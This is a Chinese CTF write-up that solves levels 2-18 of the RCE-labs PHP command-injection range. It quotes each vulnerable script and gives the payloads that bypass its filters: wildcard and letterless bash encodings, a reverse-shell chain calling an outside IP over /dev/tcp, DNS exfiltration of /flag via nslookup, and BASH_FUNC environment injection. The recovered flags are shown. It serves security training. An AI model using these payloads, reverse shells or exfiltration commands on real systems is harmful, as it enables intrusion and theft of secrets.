RCE-labs-练习(上)
RCE-labs-wp(上)
题目来源
https://github.com/ProbiusOfficial/RCE-labs
这里用的是CTFplus的复现环境进行靶场练习的
这里放一些大佬关于RCE的笔记
RCE-Labs超详细WP-Level13&Level14(PHP下的0/1构造RCE命令&简单的字数限制RCE)
前言
- 基础概念(Level 0-3)
Level 0: 代码执行与命令执行的基本概念区分
Level 1: 一句话木马和代码执行原理
Level 2: PHP 常见代码执行函数介绍
Level 3: 命令执行基本原理
- 命令执行技巧(Level 4-18)
Level 4-8: Shell 运算符、黑名单绕过、通配符匹配、空格过滤、文件描述与重定向
Level 9-13: 无字母命令执行系列(八进制转义、二进制整数替换、特殊变量替换)
Level 14-16: 字符限制下的 RCE 技巧(7字符、5字符、4字符)
Level 17-18: PHP 命令执行函数与环境变量注入
- RCE 利用路径(Level 19-21)
Level 19: 文件写入导致的 RCE
Level 20: 文件上传导致的 RCE
Level 21: 文件包含导致的 RCE
- PHP 特性利用(Level 22-26)
Level 22-23: 动态调用与自增特性
Level 24: 无参数命令执行
Level 25: 取反绕过技术
Level 26: 无字母数字的代码执行
- 高级技术(Level 27)
Level 27: 模板注入导致的 RCE
基础概念(0-3)
level-2
[Hello-CTF]RCE-Labs超详细WP-Level 2-CSDN博客
主要就是十个函数的作用,让大家学习代码执行的常见函数
- ${}
动态解析变量或表达式,可配合eval
间接执行代码。 - eval()
执行字符串中的PHP代码,常用于动态代码生成(高危函数)。 - assert()
断言测试(PHP 8.0前字符串参数可执行代码,现已移除)。 - call_user_func()
动态调用回调函数,支持函数名或闭包。 - create_function()
创建匿名函数(PHP 7.2废弃,8.0移除,存在注入风险)。 - array_map()
将回调函数应用到数组每个元素,返回处理后的新数组。 - call_user_func_array()
动态调用函数,参数以数组形式传递(支持变长参数)。 - usort()
用自定义比较函数对数组排序(依赖用户定义的规则)。 - array_filter()
通过回调函数筛选数组元素,保留返回真值的项。 - array_reduce()
迭代数组元素,通过回调逐步合并为单一值(如累加操作)。
1. eval
- 作用:执行字符串作为 PHP 代码。
- 获取 $flag:eval('echo $flag;') 直接执行 echo $flag;,输出 $flag。
- 特点:简单直接,但高危,易受语法错误影响。
2. assert
- 作用:评估字符串或表达式,若为字符串则作为 PHP 代码执行。
- 获取 $flag:assert('echo $flag;') 执行代码,输出 $flag。
- 特点:类似 eval,可能受 assert.active 配置限制。
获得新的函数: assert ,去 https://www.php.net/manual/zh/function.assert.php 查看函数详情。
Your Code: assert(${flag});
Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1
Fatal error: Uncaught ParseError: syntax error, unexpected '{', expecting ';' in /var/www/html/index.php(26) : eval()'d code(1) : assert code:1 Stack trace: #0 /var/www/html/index.php(26) : eval()'d code(1): assert('Geesec{23950f7d...', 'assert(${flag})') #1 /var/www/html/index.php(26): eval() #2 /var/www/html/index.php(57): hello_ctf('assert', '${flag}') #3 /var/www/html/index.php(61): start('submit') #4 {main} Next Error: Failure evaluating code: assert(${flag}):"Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} " in /var/www/html/index.php(26) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(26) : eval()'d code(1): assert('Geesec{23950f7d...', 'assert(${flag})') #1 /var/www/html/index.php(26): eval() #2 /var/www/html/index.php(57): hello_ctf('assert', '${flag}') #3 /var/www/html/index.php(61): start('submit') #4 {main} thrown in /var/www/html/index.php(26) : eval()'d code on line 1
获得新的函数: assert ,去 https://www.php.net/manual/zh/function.assert.php 查看函数详情。
Your Code: assert(print_r($flag));
Geesec{23950f7d-5c5e-48f6-966c-810cc634f632}
3. call_user_func
- 作用:调用指定函数,传递参数。
- 获取 $flag:call_user_func('echo', $flag) 调用 echo,输出 $flag。
- 特点:灵活,支持内置或用户定义函数,较安全。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});
Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1
4. create_function
- 作用:创建匿名函数。
- 获取 $flag:create_function('', 'global $flag; echo $flag;')() 创建并执行匿名函数,输出 $flag。
- 特点:适合构造动态函数,PHP 7.2+ 已弃用。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});
Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1
5. array_map
- 作用:对数组元素应用回调函数。
- 获取 $flag:array_map(function($item) use ($flag) { echo $flag; }, [$flag]) 在回调中输出 $flag。
- 特点:利用回调副作用,需构造数组触发执行。
获得新的函数: array_map ,去 https://www.php.net/manual/zh/function.array-map.php 查看函数详情。
Your Code: array_map(print_r($flag));
Geesec{23950f7d-5c5e-48f6-966c-810cc634f632}
Warning: array_map() expects at least 2 parameters, 1 given in /var/www/html/index.php(26) : eval()'d code on line 1
6. call_user_func_array
- 作用:调用函数,参数以数组形式传递。
- 获取 $flag:call_user_func_array('echo', [$flag]) 调用 echo,输出 $flag。
- 特点:与 call_user_func 类似,参数传递更灵活。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});
Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1
7. usort
- 作用:使用回调函数对数组排序。
- 获取 $flag:usort([1, 2], function($a, $b) use ($flag) { echo $flag; return 0; }) 在比较回调中输出 $flag。
- 特点:利用排序回调副作用,需构造数组。
获得新的函数: usort ,去 https://www.php.net/manual/zh/function.usort.php 查看函数详情。
Your Code: usort(print_r($flag));
Geesec{23950f7d-5c5e-48f6-966c-810cc634f632}
Warning: usort() expects exactly 2 parameters, 1 given in /var/www/html/index.php(26) : eval()'d code on line 1
8. array_filter
- 作用:使用回调过滤数组元素。
- 获取 $flag:array_filter([$flag], function($item) use ($flag) { echo $flag; return true; }) 在过滤回调中输出 $flag。
- 特点:类似 array_map,关注回调副作用。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});
Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1
9. array_reduce
- 作用:使用回调对数组元素进行归约。
- 获取 $flag:array_reduce([$flag], function($carry, $item) use ($flag) { echo $flag; return $carry; }, null) 在归约回调中输出 $flag。
- 特点:利用回调副作用,逻辑稍复杂
获得新的函数: array_reduce ,去 https://www.php.net/manual/zh/function.array-reduce.php 查看函数详情。
Your Code: array_reduce($a,print_r($flag));
Geesec{23950f7d-5c5e-48f6-966c-810cc634f632}
Warning: array_reduce() expects parameter 1 to be array, null given in /var/www/html/index.php(26) : eval()'d code on line 1
10. preg_replace
- 作用:正则替换,/e 修饰符可执行代码(PHP 7.4 之前)。
- 获取 $flag:preg_replace('/.*/e', 'echo $flag;', 'x') 执行 echo $flag;,输出 $flag。
- 特点:依赖 /e 修饰符,现代 PHP 不可用,CTF 常见。
获得新的函数: call_user_func ,去 https://www.php.net/manual/zh/function.call-user-func.php 查看函数详情。
Your Code: call_user_func(${flag});
Warning: Use of undefined constant flag - assumed 'flag' (this will throw an Error in a future version of PHP) in /var/www/html/index.php(26) : eval()'d code on line 1
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'Geesec{23950f7d-5c5e-48f6-966c-810cc634f632} ' not found or invalid function name in /var/www/html/index.php(26) : eval()'d code on line 1
level-3
主要考察命令执行
命令执行技巧(4-18)
Level 4-8: Shell 运算符、黑名单绕过、通配符匹配、空格过滤、文件描述与重定向
Level 9-13: 无字母命令执行系列(八进制转义、二进制整数替换、特殊变量替换)
Level 14-16: 字符限制下的 RCE 技巧(7字符、5字符、4字符)
Level 17-18: PHP 命令执行函数与环境变量注入
level-4
命令执行 SHELL 运算符
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 ---
https://www.runoob.com/linux/linux-shell-basic-operators.html
SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test
||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"
&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."
;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"
try GET:
?ip=8.8.8.8
flag is /flag
*/
function hello_server($ip){
system("ping -c 1 $ip");
}
isset($_GET['ip']) ? hello_server($_GET['ip']) : null;
highlight_file(__FILE__);
?>
;(分号) | 分隔命令 | 强制执行;后的命令 |
---|---|---|
&&(逻辑与) | 与命令 | 必须第一个执行成功 |
&(后台符) | 后台命令 | &前后台运行,后立即执行 |
|(管道符) | 或命令 | 将|前当做输入,或直接执行|后命令 |
$( ) 或反引号 | 命令替代 | 将子命令输出嵌入主命令 |
空格绕过(${IFS}, <, >) | 重定向 | |
外带数据(curl, wget) | DNS外带 |
只有下边两个命令能执行
?ip=;cat /flag
|cat /flag
level-5
命令执行 黑名单式过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 ---
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。
*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。
通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...
*/
function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
主要就是绕过flag
cat /fla[f-g]//匹配[]中任意一个
cat /fla[^a]//匹配[]外的
cat /f*//匹配f开头的
cat /fla?//?代替任意一个字符
cat /fla'g'
cat /fla"g"
level-6
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 挑战关 ---
刚才,学了什么来着!?
*/
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
过滤的字符:
- 字母:b-z(小写)、A-Z(大写),即除了a外的所有字母。
- 特殊字符:_、@、#、%、^、&、*、:、{、}、-、+、<、>、"、```、|、;、[、]。
未被过滤的字符:
- 字母:a(小写)。
- 数字:0-9。
- 特殊字符:.、,、$、=、!、/、\、空格等。
直接?a? /??a? 是成功的前提是,环境配置正确:
- $PATH 包含 /bin 或 /usr/bin,且 cat 存在于这些目录。
- Shell 能正确解析命令。
也许是path问题,没有执行成功
使用绝对路径(如 /bin/cat)以确保命令执行的可靠性。
/?cmd=/???/?a? /??a?
//能匹配到/bin/cat /flag ,接着搜索Geesec即可
?cmd=/???/?a??64 /??a?
//匹配到/bin/base64 /flag,将/flag进行base64编码后输出
同理,使用?执行通配符绕过,匹配命令即可读取
level-7
空格过滤
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
/?cmd=cat%09/f*
/?cmd=cat$IFS/f*
level-8
文件描述与重定向
<?php
/*
--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。
如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null
/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1
*/
function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
system($cmd.">/dev/null 2>&1");
这行代码将执行命令 $cmd,并且将其标准输出和标准错误输出都重定向到 /dev/null,这意味着无论命令的输出还是可能产生的错误信息都不会显示出来
/dev/null 是一个输出重定向,它把标准输出重定向到 /dev/null,这样就不会有输出出现在屏幕上。
2>&1 是另一个重定向操作,它把标准错误输出复制到之前的标准输出位置(即 /dev/null),这样标准错误也不会出现在屏幕上。
payload:
直接用命令分隔符分开就行了
/?cmd=cat /flag;
也可以重定向到一个文件中
/?cmd=cat /flag >1.txt;
/1.txt
level-9
无字母命令执行_八进制转义
<?php
/*
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
上边赛题提示,已经将 /bin/sh 设置为指向 /bin/bash 的符号链接。换句话说,运行 /bin/sh 时,实际上会调用 /bin/bash
接下来就是bash的8进制绕过
为了方便做题,特地提示我们:
- 即使是八进制,同样需要空格
- 提供了一个BashFuck工具在exp.php中
/?cmd=$'\143\141\164' $'\57\146\154\141\147'
这个Exp.php写的非常好,我给dump下来了,方便以后使用
官方真是太好了!!!
level-10
无字母命令执行_二进制整数替换
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
这题把数字ban了,不能八进制了
提示使用2进制,0,1两个数字让用
同上题一样,有脚本以及在线的网站
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
不行,二进制数据转换好多执行不成功
RCE-Labs超详细WP-Level10(无字母命令执行_二进制整数替换)
详情见上边大佬讲解
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
上边是二进制cat /flag,本地是没问题的
但是直接get传参没结果
由于#在get具有特殊意义
在 URL 中,# 表示锚点(Anchor),它用于指向网页中的特定位置或片段。锚点的主要功能是让浏览器快速定位到页面内的某个部分
所以要进行URL编码才能执行成功
$0<<<$0\<\<\<\$\'\\$(($((1<<1))%2310001111))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310100100))\\$(($((1<<1))%23101000))\\$(($((1<<1))%23111001))\\$(($((1<<1))%2310010010))\\$(($((1<<1))%2310011010))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310010011))\'
记住:一个字符对应一段编码,就有一个#,所以cat /flag编码后有9个#
level-11
无字母命令执行_整数1的特殊变量替换
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
highlight_file(__FILE__);
?>
这题把整数1也给ban了
题目也提示了用 ${##} 来替换 1
变量 | 含义 | 示例输出 |
---|---|---|
${#} |
传递给脚本或函数的参数个数 | 0 (参数为空时) |
duan@F0T0ne:~$ echo $#
0
duan@F0T0ne:~$ echo ${##}
1
如上所说 ${#xxx}
, 它用于表示变量 xxx 存储的字符串长度
将#当作变量,该变量参数值为0,长度为1
利用exp.php中第三个转换即可,这次是post传参,不需要URL编码
level-13
无字母命令执行_特殊扩展替换任意数字
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为 $(()) + 取反 构造任意数字
echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
使用取反绕过,之后进行URL编码get传参即可
level-14
7字符RCE
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---
*/
if(isset($_GET[1]) && strlen($_GET[1]) < 8){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
highlight_file(__FILE__);
?>
只是限制RCE长度,通配符直接过
level-15(fail)
RCE-Labs超详细WP-Level15(5字符限制RCE-文件名拼接反弹Shell命令)
反弹shell一直不成功
socat -v tcp-l:80,reuseaddr,fork exec:'echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n" bash -i >&/dev/tcp/123.57.193.70/9999 0>&1'
curl\ 192.168.198.135\|bash
>bash (因为这个在最后所以不需要接\来连接后面的命令)
>99\|\
>99\ (这里因为 `.` 不能作为文件名开头, 所以这里并未把5个字符用满)
>93.\
>7.1\
>5\
>23.\
>\ 1\
>url\
>c\
>\ \
>-t\
>\>a
>ls\
ls>b
ls>>b
bash
99\|\
99\
93.\
7.1\
5\
23.\
\ 1\
url\
c\
sh b
sh a
level-17
PHP命令执行函数
类似于level-2代码执行的函数
<?php
session_start();
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---
喵喵喵ww https://www.php.net/manual/zh/ref.exec.php
system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`
在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。
*/
function hello_ctf($function, $content){
if($function == '``'){
$code = '`'.$content.'`';
echo "Your Code: $code <br>";
eval("echo $code");
}else
{
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
}
function get_fun(){
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
命令 | 使用 | |
---|---|---|
system | system('ls') | |
exec() | exec('ls', $result); print_r($result); | 无输出,结果保存在数组中 |
shell_exec() | echo shell_exec('ls'); | 无输出,返回字符串 |
`` | echo \cat /etc/passwd; |
同上 |
passthru() | passthru('ls'); | 同ststem |
popen() | $result = popen('ls', 'r'); echo fread($result, 100); | 配合fread读取结果 |
- 重定向:exec,shell_exec,``
'cat /flag |tee 1.txt'
'cat /flag > 2.txt'
写到另一个文件下即可
获得新的函数: passthru ,去 https://www.php.net/manual/zh/function.passthru.php 查看函数详情。
Your Code: passthru('cp /flag 1.txt');
获得新的函数: shell_exec ,去 https://www.php.net/manual/zh/function.shell-exec.php 查看函数详
Your Code: shell_exec('cp /flag 1.txt');
获得新的函数: exec ,去 https://www.php.net/manual/zh/function.exec.php 查看函数详情。
Your Code: exec('cp /flag 1.txt');
- DNS外带(使用Base64编码并指定公共DNS服务器)
ping,curl都不成功,使用nslookup似乎跟直接
payload:
content='nslookup `cat /flag | base64 | tr -d "\n" | head -c 50`.fdmsda.ceye.io'
获得新的函数: system ,去 https://www.php.net/manual/zh/function.system.php 查看函数详情。
Your Code: system('nslookup `cat /flag | base64 | tr -d "\n" | head -c 50`.fdmsda.ceye.io');
Server: 127.0.0.11 Address: 127.0.0.11:53 ** server can't find TlNTQ1RGezc3ZmFlNmMzLWVjMWItNDg4OC05ZTI4LTI2ZjgzMz.fdmsda.ceye.io: NXDOMAIN Non-authoritative answer: Name: tlntq1rgezc3zmflnmmzlwvjmwitndg4oc05zti4lti2zjgzmz.fdmsda.ceye.io Address: 119.8.28.134
三级域名就是flag编码内容
NSSCTF{77fae6c3-ec1b-4888-9e28-26f83383f836}
https://lmcmc.github.io/2020/11/28/RCE之执行无回显/#2-2-1-利用平台-http-ceye-io
贴一下大佬关于无回显的总结
- 反弹shell
似乎shell命令不能执行
bash -i >& /dev/tcp/ip/8888 0>&1
贴一下csdn佬的总结
[CTF]命令执行无回显利用_ctf无回显命令执行-CSDN博客
level-18
环境变量注入
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 ---
来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
*/
foreach($_REQUEST['envs'] as $key => $val) {
putenv("{$key}={$val}");
}
system('echo hello');
highlight_file(__FILE__);
?>
给的P神的文章,下边是在跳跳糖上发的,主题是白的(个人喜好),就把白的粘上来了
https://tttang.com/archive/1450/#toc_0x0b
本地测试
duan@F0T0ne:~$ env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
hello
duan@F0T0ne:~$ env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
uid=1000(duan) gid=1000(duan) groups=1000(duan),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev)
- 分析payload:
BASH_FUNC_echo%%: Bash 允许通过环境变量定义函数,格式为 BASH_FUNC_函数名%%=() { 命令; }。这里定义了一个名为 echo 的 Bash 函数,内容是执行 id 命令。
env: 用于设置环境变量并在新的环境中执行命令。
bash -c 'echo hello': 启动一个新的 Bash 实例,执行 echo hello。由于环境变量中定义了 echo 函数,Bash 会优先执行该函数(id),而不是内置的 echo 命令。
效果: 当执行 echo hello 时,实际运行的是 id 命令,输出当前用户的信息。
- 分析题目:
PHP 代码通过 putenv() 设置环境变量,并调用 system('echo hello'),我们可以通过 $_REQUEST['envs'] 提交类似的环境变量来劫持 echo
envs[BASH_FUNC_echo%%]=() { cat /flag; }
payload解释:
